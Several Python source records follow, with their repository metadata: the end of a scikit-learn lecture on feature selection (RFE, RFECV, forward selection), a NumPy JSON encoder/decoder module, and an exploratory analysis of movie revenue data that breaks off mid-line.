= train_df.drop(columns=['SaleCondition', 'PoolQC', 'MiscFeature', 'Alley'])\nX_test =  test_df.drop(columns=['SaleCondition', 'PoolQC', 'MiscFeature', 'Alley'])\n\ny_train = train_df['SaleCondition']\ny_test = test_df['SaleCondition']\n\n Note, you should be looking at these individually but I'm being a little lazy here. \n\nnumeric_features = X_train.select_dtypes('number').columns.to_list()\ncategorical_features = X_train.select_dtypes('object').columns.to_list()\n\nHere are our numeric features:\n\nnumeric_features\n\nAnd here are our categorical features:\n\ncategorical_features\n\nNext, we need to make our pipelines and column transformer. \n\nWe can also cross-validate, but here my main goal is to show you how to get our feature importances from our pipeline! \n\nnumeric_pipe = make_pipeline(SimpleImputer(strategy='median'),\n                            StandardScaler())\ncategoric_pipe = make_pipeline(SimpleImputer(strategy=\"constant\", fill_value=\"missing\"),\n                            OneHotEncoder(dtype=int, handle_unknown=\"ignore\"))\n\npreprocessor = make_column_transformer((numeric_pipe, numeric_features),\n                                       (categoric_pipe, categorical_features))\n\nmain_pipe = make_pipeline(preprocessor, LogisticRegression(max_iter=1000))\n\n\nscores = cross_validate(main_pipe, X_train, y_train, return_train_score=True)\n\npd.DataFrame(scores).mean()\n\nOnce we fit our pipeline outside of `cross_validate()` we can use `coef_` to get our features that contribute to our predictions. \n\nmain_pipe.fit(X_train, y_train)\nfeats_coef = main_pipe.named_steps['logisticregression'].coef_\nfeats_coef\n\nThe problem here, is we don't know which value corresponds to which feature! \n\nLet's first take a look at how many features we have now after preprocessing. \n\nfeats_coef.shape\n\nThe 282 is refering to the number of features after preprocessing!\n\nLet's get the feature names after preprocessing.  \n\nWe can obtain the categorical features and combine them with the  numeric features.\n\ncat_feats = preprocessor.named_transformers_['pipeline-2'].named_steps[\n    'onehotencoder'].get_feature_names(categorical_features).tolist()\n\nall_feat_names = numeric_features + cat_feats\n\nWe can see now that we have the same number of feature names as we do coefficients. \n\nlen(all_feat_names)\n\nLet's get them into a dataframe now and sort them:\n\nfeatures_df = pd.DataFrame(data = [all_feat_names,\n                                feats_coef.flatten()]).T.rename(columns={0:'feature', 1:'feature_coefs'})\nfeatures_df.sort_values('feature_coefs',key= abs, ascending=False)\n\n\nWe can see that `SaleType_New` is the most important feature in our model.\n\nFrom here we can decide to manually remove some of the columns that are not taken into consideration as much.... or we can instead use a tool to help us! \n\nEnter - **Recursive feature elimination**\n\n### Recursive feature elimination - RFE \n\nWe can use feature importances to eliminate unimportant features.\n\nThe basic idea with recursive feature elimination is we: \n1. We decide $k$ - the number of features to select.\n2. Assign importances to features, e.g. by fitting a model and looking at coef_ or feature_importances_.\n3. Remove the least important feature.\n4. Repeat steps 2-3 until only $k$ features are remaining.\n\n**Note that this is not the same as just removing all the less important features in one shot!**\n\nLet's take a look at how we can do this. \n\nFirst we import `RFE` from `sklearn.feature_selection`: \n\nfrom sklearn.feature_selection import RFE\n\nNow instead of simply using `LogisticRegression`, we can wrap it around the `RFE` function and specify how many features we want with `n_features_to_select`. \n\nHere I'm capping the number of features to 30 (an arbitrary number I picked).\n\nThis is going to take about 1-2 minutes to run because now, it's recursively removing 1 feature at a time and cross-validating on the final result.\n\n\n<img src='imgs/waiting2.png' width=\"50%\"> \n\nmain_pipe = make_pipeline(preprocessor, RFE(LogisticRegression(max_iter=1000), \n                                            n_features_to_select=30))\n\nscores = cross_validate(main_pipe, X_train, y_train, return_train_score=True)\n\npd.DataFrame(scores)\n\npd.DataFrame(scores).mean()\n\nLooking at this mean validation score compared to when the model was using all the features, we can see it increased a tiny bit! \n\nBut now our next question is how do we set $k$? How do we know how many features is the optimal amount... Well, you guessed it! There is a tool for that too! \n\n### RFECV\n\nYou can find the optimal number of features using cross-validation with `RFECV` where the optimal $k$ value is selected based on the highest validation score. \n\nYou would definitely not want to use the training score! - Why?\n > Because with training score the more features you add the higher the score, this isn't the case with validation score. \n \nWe can import `RFECV` from `sklearn.feature_selection` like we did for `RFE`. \n\nfrom sklearn.feature_selection import RFECV\n\nInstead of `RFE` now we simply use `RFECV` in our pipeline and we do not need to specify the argument `n_features_to_select` like we did with `RFE` since $k$ is selected based on the highest validation score. \n\n(*This is also going to take a couple of minutes*)\n\n<img src='imgs/waiting1.png' width=\"50%\"> \n\n\n\nmain_pipe = make_pipeline(preprocessor, RFECV(LogisticRegression(max_iter=1000), cv=5))\n\nscores = cross_validate(main_pipe, X_train, y_train, return_train_score=True)\n\nNow we have ~91% for our validation score! \n\npd.DataFrame(scores).mean()\n\nmain_pipe.fit(X_train,y_train)\nprint(main_pipe.named_steps[\"rfecv\"].support_)\n\nprint(\"The number of features selected by RFE: \",\n      main_pipe.named_steps[\"rfecv\"].n_features_)\n\nfeature_names = all_feat_names\nsupport = main_pipe.named_steps[\"rfecv\"].support_\nRFE_selected_feats = np.array(feature_names)[support]\nRFE_selected_feats\n\nRFECV selects the features by references their `feature_importances`/`coefs_` as well as the validation score after each feature is removed and seeing if it is increasing. \n\nWhen a feature is removed and the validation score is no longer increasing, then it stops removing features. \n\n## Forward Selection \n\nUnlike with RFE where we start with all our features and gradually remove the leat important ones, **Forward Selection** is a process where we start with no features and gradually add them! \n\nWith RFE we removed the least important feature, whereas with forward selection we add features untill our cross-validation score starts to decreases. \n\nForward Selection does not guaranty finding the best features set but reduces many problems.\nComputationally cheaper (aka faster!) \nOverfits less\n\n\nForward selection is recently implemented in `sklearn` so please make sure it is up to date! You need version 0.24!\n\nfrom sklearn.feature_selection import SequentialFeatureSelector\n\nWe can import it as follows: \n\npipe_forward = make_pipeline(preprocessor, \n                             SequentialFeatureSelector(LogisticRegression(max_iter=1000), \n                                                       direction='forward',\n                                                       n_features_to_select=20),\n                            LogisticRegression(max_iter=1000))\n\nRunning this next cell is going to take a LONG LONG LONG time. \n\n<img src='imgs/waiting3.png' width=\"50%\"> \n\nscores = cross_validate(pipe_forward, X_train, y_train, \n                        return_train_score=True)\npd.DataFrame(scores).mean()\n\n## Let's Practice \n\n1\\. As we increase features, which score will always increase?    \n2\\. Between `RFE` and `RFECV` which one finds the optimal number of features for us?    \n3\\. Which method starts with all our features and iteratively removes them from our model?    \n4\\. Which method starts with no features and iteratively adds features?    \n5\\. Which method does not take into consideration `feature_importances_`/`coefs_` when adding/removing features?     \n\n```{admonition} Solutions!\n:class: dropdown\n\n1. Training score\n2. `RFECV`\n3. Recursive Feature Elimination\n4. Forward Selection\n5. Forward Selection\n```\n\n## Extra time? Project time\n\nFirst -> Project expectations. \n\nBreakout rooms in your project groups! \n\nUse this time to:\n\n- Meet with your team mates;\n- Think about a project - choose the data and business objective.\n- Propose a statistical objective to address this.\n- Also, elaborate on the statistical objective. What\u2019s your plan for the analysis?\n\n## What We've Learned Today\n\n- How to construct a statistical question from a business objective. \n- What steps are important in building your analysis.\n- How to discover important features in your model. \n- the 2 different methods (RFE, Forward selection) to conduct feature selection on your model. ", "meta": {"hexsha": "3b12c848cb6edef78bab9ae052710aa4e69f54aa", "size": 23829, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/lectures/lecture8.py", "max_stars_repo_name": "hfboyce/tableau_course", "max_stars_repo_head_hexsha": "1480600c711bfa91d2169e999bbf194dd0332088", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/lectures/lecture8.py", "max_issues_repo_name": "hfboyce/tableau_course", "max_issues_repo_head_hexsha": "1480600c711bfa91d2169e999bbf194dd0332088", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/lectures/lecture8.py", "max_forks_repo_name": "hfboyce/tableau_course", "max_forks_repo_head_hexsha": "1480600c711bfa91d2169e999bbf194dd0332088", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.907480315, "max_line_length": 360, "alphanum_fraction": 0.7641529229, "include": true, "reason": "import numpy,import scipy", "num_tokens": 5242, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.1127954077740912, "lm_q1q2_score": 0.055076124681711434}}
{"text": "\"\"\"\r\nhandling numpy data for json\r\n\r\nauthor: anton feldmann <anton.feldmann@gmail.com>\r\n\"\"\"\r\nfrom json.encoder import JSONEncoder\r\nfrom json.decoder import JSONDecoder\r\n\r\nimport numpy as np\r\n\r\n# pylint: disable=C0103,R0201,R1705,R0911\r\n\r\n\r\nclass NumpyEncoder(JSONEncoder):\r\n    \"\"\" Custom encoder for numpy data types\r\n        The NumpyEncoder is a JSONEncoder\r\n\r\n\r\n    Examples:\r\n    ..  example_code::\r\n        >>> import numpy as np\r\n        >>> import json\r\n        >>> from apu.encoding.json.np import NumpyEncoder\r\n        >>> arr = array([   0,  239,  479,  717,  952, 1192, 1432, 1667],\r\n        ...      dtype=int64)\r\n        >>> json.dumps(arr,cls=NumpyEncoder)\r\n    \"\"\"\r\n    def np_list(self, obj):\r\n        \"\"\" numpy array object to json list \"\"\"\r\n        return obj.tolist()\r\n\r\n    def np_float(self, obj):\r\n        \"\"\" numpy float type to float \"\"\"\r\n        return float(obj)\r\n\r\n    def np_int(self, obj):\r\n        \"\"\" numpy int to int \"\"\"\r\n        return int(obj)\r\n\r\n    def np_complex(self, obj):\r\n        \"\"\" numpy complex to dict.\r\n        because the decoder has to decode\r\n        complex i use a dict \"\"\"\r\n        return {\"real\": obj.real, \"imag\": obj.imag}\r\n\r\n    def np_bool(self, obj):\r\n        \"\"\" numpy boolean to boolean \"\"\"\r\n        return bool(obj)\r\n\r\n    def np_null(self, obj):\r\n        \"\"\" numpy null no None or json null \"\"\"\r\n        return None\r\n\r\n    def np(self, obj):\r\n        \"\"\" np function to check for all numpy objects \"\"\"\r\n        if isinstance(obj, np.integer):\r\n            return self.np_int(obj)\r\n\r\n        elif isinstance(obj, np.floating):\r\n            return self.np_float(obj)\r\n\r\n        elif isinstance(obj, (np.complex_, np.complex64, np.complex128)):\r\n            return self.np_complex(obj)\r\n\r\n        elif isinstance(obj, (np.ndarray, )):\r\n            return self.np_list(obj)\r\n\r\n        elif isinstance(obj, (np.bool_)):\r\n            return self.np_bool(obj)\r\n\r\n        elif isinstance(obj, (np.void)):\r\n            return self.np_null(obj)\r\n\r\n        return JSONEncoder.default(self, obj)\r\n\r\n    # pylint: disable=E0202,W0237\r\n    def default(self, obj):\r\n        \"\"\" default Encoder entrypoint to encode \"\"\"\r\n        return self.np(obj)\r\n\r\n\r\nclass NumpyDecoder(JSONDecoder):\r\n    \"\"\" Custom decode for numpy data types\r\n\r\n    Examples:\r\n    ..  example_code::\r\n        >>> import numpy as np\r\n        >>> import json\r\n        >>> from apu.encoding.json.np import NumpyDecoder\r\n        >>> arr = '[[2.468031, 0.0, 0.0],\r\n                    [-1.234015, 2.137377, 0.0],\r\n                    [0.0, 0.0, 19.998293]]'\r\n        >>> json.loads(arr,cls=NumpyDecoder)\r\n        [[ 2.468031  0.        0.      ]\r\n        [-1.234015  2.137377  0.      ]\r\n        [ 0.        0.       19.998293]]\r\n    \"\"\"\r\n\r\n    _recursable_types = [str, list, dict]\r\n\r\n    def _is_recursive(self, obj) -> bool:\r\n        \"\"\" check if the onject is recursiveable\r\n\r\n        Returns:\r\n            (bool): the object is recursiveable\r\n        \"\"\"\r\n        return isinstance(obj, tuple(NumpyDecoder._recursable_types))\r\n\r\n    # pylint: disable=R1710, R0912\r\n    def decode(self, obj, *args, **kwargs):\r\n        \"\"\" decode the json string \"\"\"\r\n        if not kwargs.get('recurse', False):\r\n            obj = super().decode(obj, *args, **kwargs)\r\n\r\n        if isinstance(obj, list):\r\n            try:\r\n                return np.array(obj)\r\n            except:  # pylint: disable=W0702\r\n                for item in obj:\r\n                    if self._is_recursive(item):\r\n                        obj[item] = self.decode(item, recurse=True)\r\n\r\n        elif isinstance(obj, dict):\r\n            for key, value in obj.items():\r\n                if str(key) in \"real\":\r\n                    return np.complex(obj['real'], obj['imag'])\r\n                elif self._is_recursive(value):\r\n                    obj[key] = self.decode(value, recurse=True)\r\n\r\n        elif isinstance(obj, bool):\r\n            return np.bool(obj)\r\n\r\n        elif isinstance(obj, float):\r\n            return np.float(obj)\r\n\r\n        elif obj is None:\r\n            return np.void\r\n\r\n        else:\r\n            return obj\r\n", "meta": {"hexsha": "59362b98600ad072c721be547c88185f10a9e7b6", "size": 4109, "ext": "py", "lang": "Python", "max_stars_repo_path": "apu/encoding/json/np.py", "max_stars_repo_name": "afeldman/apu", "max_stars_repo_head_hexsha": "223cd54ce8696c504e08baa94b34debb4f8dc0a2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "apu/encoding/json/np.py", "max_issues_repo_name": "afeldman/apu", "max_issues_repo_head_hexsha": "223cd54ce8696c504e08baa94b34debb4f8dc0a2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "apu/encoding/json/np.py", "max_forks_repo_name": "afeldman/apu", "max_forks_repo_head_hexsha": "223cd54ce8696c504e08baa94b34debb4f8dc0a2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.1418439716, "max_line_length": 74, "alphanum_fraction": 0.5273789243, "include": true, "reason": "import numpy", "num_tokens": 961, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.1225232125181592, "lm_q1q2_score": 0.05506102925662118}}
{"text": "\n# coding: utf-8\n\n# # IMDB Data EDA\n#\n# ## Data\n#\n# Two datasets:\n# - tmdb_5000_movies.csv\n# - movie_metadata.csv\n#\n#\n# ## Goal\n#\n# What makes a profitable movie?\n#\n#\n# ## Index\n#\n# 1- Loading and merging datasets\n#\n# 2- What makes gross revenue increase? How are these variables related to each other?\n#\n# 3- What actors and directors have the highest budget to gross ratio?\n#\n# 4- What movies where the biggest flops? Are there factors that are associated with flops?\n#\n# 5- What countries make the most profitable and valued films?\n#\n\n# ### 1- Loading, cleaning and merging datasets\n#\n# We'll need to load the datasets, analyze their content and quality, clean de unnecessary columns, create categorical features where needed and finally merge everything into a common and usable Pandas Dataframe.\n\n\n# Import the needed libraries for the EDA\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport warnings\nimport re\n\nwarnings.filterwarnings('ignore')\n\n#Import the three downloaded datasets into DFs and review the first 10 entries\n\ndf_movies = pd.read_csv('Datasets/tmdb_5000_movies.csv')\ndf_metadata = pd.read_csv('Datasets/movie_metadata.csv')\n\nprint(\"Movies DF:\\n\\n{}\\n\".format(df_movies.head()))\nprint(\"Metadata DF:\\n\\n{}\".format(df_metadata.head()))\n\n\n# Let's see what kind of data are we working with\n\nprint(\"Movies DF:\\n\")\nprint(df_movies.info(),\"\\n\\n\")\nprint(df_movies.describe(),\"\\n\\n\")\nprint(df_movies['original_language'].value_counts())\nprint(\"\\n{}\".format(df_movies['status'].value_counts()))\nprint(\"\\n\\nNulls:\\n\\n{}\\n\\n**************************************\\n\\n\".format(df_movies.isnull().sum()))\n\nprint(\"Metadata DF:\\n\")\nprint(df_metadata.info(),\"\\n\\n\")\nprint(df_metadata.describe(),\"\\n\\n\")\nprint(df_metadata['color'].value_counts())\nprint(\"\\n{}\".format(df_metadata['content_rating'].value_counts()))\nprint(\"\\n{}\".format(df_metadata['aspect_ratio'].value_counts()))\nprint(\"\\n\\nNulls:\\n\\n{}\\n\\n**************************************\\n\\n\".format(df_metadata.isnull().sum()))\n\n\n# We can see from the list of columns that some of them are repeated, let's get rid of them\n\ndf_metadata.drop(['num_critic_for_reviews','duration','gross','genres',\n                 'num_voted_users','plot_keywords','num_user_for_reviews',\n                 'budget','title_year','imdb_score'],axis=1,inplace=True)\n\n#We can also get rid of the text description of the films, as it won't be necessary for our study\ndf_movies.drop('overview',axis=1,inplace=True)\n\n#And we can drop the production country and language columns and keep the country and language from metadata\ndf_movies.drop(['production_countries','spoken_languages'],axis=1,inplace=True)\n\n\n# We should change categorical data and dictionaries into columns for easier manipulation and visualization\n\n\n#First let's extract the important info out the string columns that contain of lists of dictionaries\n\npatternname = r\"(?:.name.: .)(\\w{1,}\\s{0,}\\w{0,})\"\npatternlang = r\"(?:.iso_639_1.: .)(\\w{1,}\\s{0,}\\w{0,})\"\n\ndef dict2list(x):\n    if type(x) is str:\n        templist = x.strip('[]').split(',')\n        namelist = []\n        lang = False\n        for element in templist:\n            if re.search(patternlang, element):\n                namelist.append(re.search(patternlang, element).group(0)[14:])\n                lang = True\n            elif re.search(patternname, element) and not lang:\n                namelist.append(re.search(patternname, element).group(0)[9:])\n        if len(namelist) > 0:\n            return {k: 1 for k in namelist}\n        else:\n            return x\n    else:\n        return x\n\ndf_movies = df_movies.applymap(dict2list)\n\n#Second, lets use the newly created dictionaries to create dummy columns for the categorical columns\n\ndef dicttodummy(df,columns):\n    columnnames = {}\n    for col in columns:\n        columnnames[col] = list(df[col].apply(pd.Series).drop([0], axis=1))\n        df = pd.concat([df.drop([col], axis=1), df[col].apply(pd.Series).fillna(0).drop([0], axis=1)], axis=1)\n    return df,columnnames\n\ndummyfeatures = ['genres']\ndf_movies,columndictionary = dicttodummy(df_movies,dummyfeatures)\n\n#Now we can merge both the dataframes into one\n\ndf_metadata['movie_title'] = df_metadata['movie_title'].map(lambda x: x.strip())\ndata = pd.merge(df_movies, df_metadata, left_on='original_title'\n                , right_on='movie_title', how='left').drop(['movie_title'], axis=1)\n\nprint(data.head())\n\n\n# ### 2- What makes gross revenue increase? How are these variables related to each other?\n#\n# We need to evaluate genre, content rating (R, PG13, etc.), budget, movie FB likes, IMDB likes, etc. We should also evaluate how the important of those features changed with time.\n#\n# #### - First of all, we should understand how is the revenue variable. An histogram should be useful.\n\ndef plotHistogram(df,col,tit='',xlabel='',ylabel='',log=False):\n    bins = np.linspace(df[col].min(),df[col].max(),25)\n    plt.xlim([df[col].min(),df[col].max()])\n    plt.hist(df[col], bins=bins, alpha=0.5,log=log)\n    plt.title(tit)\n    plt.xlabel(xlabel)\n    plt.ylabel(ylabel)\n    plt.show()\n\nplotHistogram(data,'revenue',ylabel='# of films',xlabel='Revenue',tit='Revenue logarithmic histogram',log=True)\n\n\n# The log plot tells us that the distribution is close to an exponential\n\n# #### - Let's see how revenue correlates with some other film figures\n\n#Array with the column names for what we want to compare the revenue to\nrevenue_comparisons = ['budget', 'runtime', 'vote_average', 'popularity','facenumber_in_poster','movie_facebook_likes']\n\n#Iterate through each of the columns made above and plots them separately\nfor comparison in revenue_comparisons:\n    sns.jointplot(x='revenue', y=comparison, data=data, color='navy', size=10, space=0, kind='reg')\n\n\n# We can see how the strongest relationship to revenue is budget (0.73) and the weakest, obviously, the number of faces in the promotional poster, with a p that would not allow to reject the null hypothesis if we set a confidence over 99%. The correlation of popularity and FB movie likes is also evident, but surprisingly there's also a positive correlation between runtime and revenue (0.25), so this would lead us to advise, if anything, against a short film.\n\n# #### - Let's see now the correlation between all these variables among themselves.\n\nfig, ax = plt.subplots(figsize=(14,12));\nnew = data[['revenue','budget', 'runtime', 'vote_average', 'popularity','facenumber_in_poster','movie_facebook_likes']].copy()\nnew = new.corr()\nsns.heatmap(new, ax=ax);\nax.set_title('Correlation matrix heatmap');\n\n\n# #### - Is the type of film content rating important for its profitability?\n#\n# To know that, ee need to create a new column, revenue_budget_ratio.\n\n##We'll filter by a budget of $100k to avoid independent films\nminbudget = 100000\ndata['revenue_budget_ratio'] = data['revenue'][data['budget']>minbudget]/data['budget'][data['budget']>minbudget]\n\n#We will filter to show only ratings with more than 100 films in the DB\nratinglist = df_metadata.content_rating.value_counts()[df_metadata.content_rating.value_counts() >= 100]\n\nfig, ax = plt.subplots(figsize=(14,12));\nax = sns.violinplot(x='content_rating', y=\"revenue_budget_ratio\"\n                    ,data=data[data.content_rating.isin(ratinglist.index.values[:])][data.revenue_budget_ratio<20]\n                    , palette=\"muted\", split=True)\nax.set_ylim = (100)\n\nprint(data[['revenue_budget_ratio','content_rating']][data.content_rating.isin(ratinglist.index.values[:])]\n      .groupby('content_rating').mean())\n\n\n# We can see how the content rating is in fact affecting the ratio distribution shape, being the G rated films the ones with a higher profitability ratio and the PG-13 those who have a lower one.\n\n# #### - Is budget a factor in profitability of films?\n\nsns.jointplot(x='budget', y='revenue_budget_ratio', data=data, kind='reg', color='navy'\n              , size=10, space=0,marginal_kws={'hist_kws': {'log': True}})\n\n\n# We can see how, although budget strongly correlates with revenue, it does negatively affect the films potential for profitabilty.\n\n# #### - How does revenue and profitability behaves for the main film genres?\n#\n# We will filter for the 7 main genres by film count.\n\nmain_genres = df_movies[columndictionary.get('genres')].sum().sort_values(ascending=False).head(7).index.values[:]\n\nfig, ax = plt.subplots(figsize=(14,12));\nnew = data[['revenue',main_genres[0],main_genres[1],main_genres[2]\n            ,main_genres[3],main_genres[4],main_genres[5],main_genres[6]]].copy()\nnew = new.corr()\nsns.heatmap(new, ax=ax);\nax.set_title('Correlation between fim genre and film revenues');\n\n\n# It seems that Thrillers and Action films correlates with a higher revenue.\n#\n# #### - But what about film profitability? Does it favor any specific genre?\n\nfig, ax = plt.subplots(figsize=(14,12));\nnew = data[['revenue_budget_ratio',main_genres[0],main_genres[1],main_genres[2]\n            ,main_genres[3],main_genres[4],main_genres[5],main_genres[6]]].copy()\nnew = new.corr()\nsns.heatmap(new, ax=ax);\nax.set_title('Correlation between fim genre and film profitability');\n\n\n# It seems that there is no genre in particular that correlates with a higher or lower profitability.\n\n# ### 3- What actors and directors have the highest revenue to budget ratio?\n#\n# Which directors and actors have the highest average IMBD rating? Which is more loved in facebook? Which ones get the most profitable films? Do any of these have any correlation?\n\ndef showbarplot(df,col,tit='',col2=None,nelements=5,tail=False,ylim=None):\n    plt.rcParams[\"figure.figsize\"] = [nelements*2,6]\n    fig, ax = plt.subplots()\n    width = 0.7\n    ind = np.arange(nelements)\n\n    if tail:\n        bars = df[col].sort_values(ascending=False).tail(nelements)\n        plt.xticks((ind), df[col].sort_values(ascending=False).tail(nelements).index.tolist(), rotation=45)\n    else:\n        bars = df[col].sort_values(ascending=False).head(nelements)\n        plt.xticks((ind), df[col].sort_values(ascending=False).head(nelements).index.tolist(), rotation=45)\n\n    rects = ax.bar(range(len(bars)), bars, width = width, color='navy')\n    ax.set_title(tit)\n\n    if col2:\n        if tail:\n            labels = df[[col,col2]].sort_values(by=col,ascending=False).tail(nelements)[col2]\n        else:\n            labels = df[[col,col2]].sort_values(by=col,ascending=False).head(nelements)[col2]\n\n        plt.legend(['n='+str(col2)], loc=1)\n        for i,rect in enumerate(rects):\n            height = rect.get_height()\n            ax.text(rect.get_x() + rect.get_width()/2., height*1.05,'n='+str(int(labels[i]))\n                    , ha='center', va='bottom')\n\n    if ylim:\n        ax.set_ylim(ylim[0], ylim[1])\n\n    plt.show()\n\n\ndf_directors = data.groupby('director_name').apply(lambda x:                                                    pd.Series({'Director_likes':x.director_facebook_likes.mean(),\n                                                            'Movie_likes_mean':x.movie_facebook_likes.mean(),\n                                                            'revenue_budget_ratio':x.revenue_budget_ratio.mean(),\n                                                            'budget_mean':x.budget.mean(),\n                                                            'revenue_mean':x.revenue.mean(),\n                                                            'runtime':x.runtime.mean(),\n                                                            'vote_average':x.vote_average.mean(),\n                                                            'films':x.director_name.count()}))\n\n\n# #### - Let's see the directors with a highest average revenue figures\n\n#As we will be considering mean revenues, we'll filter by directors with at least 3 films in the DB\n\nshowbarplot(df_directors[df_directors.films>2],'revenue_mean'            ,tit='Directors by average revenue figures',nelements=7)\n\nprint(\"Directors by average revenue figures:\\n\")\nprint(df_directors[['revenue_mean','films','budget_mean','vote_average']][df_directors.films>2]      .sort_values(by=\"revenue_mean\",ascending=False).head())\n\n\n# But that didn't show the profitability of the directors...\n#\n# #### - Let's see now the directors with at least 3 films with the highest profitable ratios\n\nshowbarplot(df_directors[df_directors.films>2],'revenue_budget_ratio',col2='films'            ,tit='Directors by average profitability, with at least 3 films',nelements=7)\n\nprint(\"\\n\\nDirectors by average profitability, with at least 3 films:\\n\")\nprint(df_directors[['films','revenue_budget_ratio','budget_mean','vote_average']]      [df_directors.films>2].sort_values(by=\"revenue_budget_ratio\",ascending=False).head())\n\n\n# We can see how George Romero, John Carpenter  and GeorgeMiller have the biggest revenue to budget ratio, having all of them more than 5 films in their IMDB database profiles.\n#\n# #### - Let's see now other stats about directors, like FB fans\n\nshowbarplot(df_directors[df_directors.revenue_budget_ratio>0],'Director_likes'            ,tit='Most liked directors',nelements=7)\n\n#We'll filter directors with less than 3 films in the df for the movie means average\n\nshowbarplot(df_directors[df_directors.films>2],'Movie_likes_mean',col2='films'            ,tit='Directors with at least 3 movies whose movies are most liked',nelements=7)\n\n\n# It seems Christopher Nolan has a touch with the audience!\n#\n# #### - But does having more FB likes relates to a higher profitability for directors?\n\nsns.jointplot(x='revenue_budget_ratio', y='director_facebook_likes', data=data, color='navy', kind='reg'\n              , size=10, space=0,marginal_kws={'hist_kws': {'log': True}})\n\n\n# The number of FB likes of the director and film profitability (revenue/budget ratio) doesn't seem to be important.\n#\n# #### - What if we chose to compare against the revenue of their films?\n\nsns.jointplot(x='revenue', y='director_facebook_likes', data=data, color='navy', kind='reg'\n              , size=10, space=0,marginal_kws={'hist_kws': {'log': True}})\n\n\n# We can see how the directors of films with great revenues tend to have more FB likes, although that doesn't seem to imply that the profitability of their films are higher.\n\n# #### - Can we relate the FB likes of the cast to the profitability of the film? What about its revenue?\n\nsns.jointplot(x='cast_total_facebook_likes', y='revenue_budget_ratio', data=data\n              , kind='reg', color='navy', size=10, space=0,marginal_kws={'hist_kws': {'log': True}})\n\nsns.jointplot(x='cast_total_facebook_likes', y='revenue', data=data\n              , kind='reg', color='navy', size=10, space=0,marginal_kws={'hist_kws': {'log': True}})\n\n\n# As it happened with the directors, the FB likes of the main cast doesn't positively correlate with the profitability of the film, but it clearly does with its revenue. In this case, the profitability of the film is negatively correlated with the number of FB likes of the cast, with a p of 0.046, so its negative correlation would be accepted with a confidence of 95%, and the positive correlation of FB likes and total film revenue is also clearer in this case, with a r of 0.24.\n#\n# Let's create a specific dataframe for the 3 main actors in each film, to evaluate them separately.\n\nactor1 = data[['actor_1_name','actor_1_facebook_likes','revenue','revenue_budget_ratio','vote_average']]    .rename(index=str, columns={\"actor_1_name\": \"actor\", \"actor_1_facebook_likes\": \"actor_FB_likes\"})\nactor2 = data[['actor_2_name','actor_2_facebook_likes','revenue','revenue_budget_ratio','vote_average']]    .rename(index=str, columns={\"actor_2_name\": \"actor\", \"actor_2_facebook_likes\": \"actor_FB_likes\"})\nactor3 = data[['actor_3_name','actor_3_facebook_likes','revenue','revenue_budget_ratio','vote_average']]    .rename(index=str, columns={\"actor_3_name\": \"actor\", \"actor_3_facebook_likes\": \"actor_FB_likes\"})\n\nactors = pd.concat([actor1, actor2, actor3]).reset_index(drop=True)\n\ndf_actors = actors.groupby('actor').apply(lambda x: pd.Series({'Actor_likes':x.actor_FB_likes.mean(),\n                                                               'revenue_budget_ratio':x.revenue_budget_ratio.mean(),\n                                                               'revenue_mean':x.revenue.mean(),\n                                                               'vote_average':x.vote_average.mean(),\n                                                               'films':x.actor.count()}))\n\n\n# #### - Which are the actors with higher revenue figures and which are the most profitable for their movies?\n\n\nshowbarplot(df_actors[df_actors.films>2],'revenue_mean',tit='Actors by average revenue figures',nelements=7)\n\nprint(\"Actors by average revenue figures:\\n\")\nprint(df_actors[['revenue_mean','films','vote_average']][df_actors.films>2]      .sort_values(by=\"revenue_mean\",ascending=False).head())\n\n\nshowbarplot(df_actors[df_actors.films>2],'revenue_budget_ratio'\n            ,tit='Actors by average profitability of their films',nelements=7)\n\nprint(\"Actors by average profitability of their films:\\n\")\nprint(df_actors[['revenue_budget_ratio','films','vote_average']][df_actors.films>2]      .sort_values(by=\"revenue_budget_ratio\",ascending=False).head())\n\n\n# ### 4- What movies where the biggest flops? Are there factors that are associated with flops?\n#\n# What are the number of films that have grossed less than their budgets by year? Is that changing through time?\n\n# #### - It would be interesting to visit first the evolution of films profitability throughout the years\n\ndata['release_date'] = pd.to_datetime(data['release_date'])\n\ndf_years = data.groupby(data.release_date.dt.year).apply(lambda x: pd.Series({'revenue_ratio_median':x.revenue_budget_ratio.median(),\n                    'ratio_top25':x.revenue_budget_ratio.quantile(.75),\n                    'ratio_bottom25':x.revenue_budget_ratio.quantile(.25),\n                    'flops_ratio':(x[x.revenue_budget_ratio<1].release_date.count())/x.release_date.count(),\n                    'vote_average':x.vote_average.mean(),\n                    'films':x.release_date.count()}))\n\n\n# We'll filter for those years with at least 30 films on the database\n\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(16, 7))\n\nx=df_years.index[df_years.films>29]\n\naxes[0].plot(x, 'revenue_ratio_median', data=df_years[df_years.films>29], marker='o'\n             , markerfacecolor='blue', markersize=12, color='skyblue', linewidth=4,label=\"Median revenue/budget\")\naxes[1].plot(x, 'flops_ratio', data=df_years[df_years.films>29], marker='', color='olive'\n             , linewidth=2)\naxes[0].plot(x, 'ratio_top25', data=df_years[df_years.films>29], marker='', color='royalblue'\n             , linewidth=2, linestyle='dashed', label=\"Top 25% profit.\")\naxes[0].plot(x, 'ratio_bottom25', data=df_years[df_years.films>29], 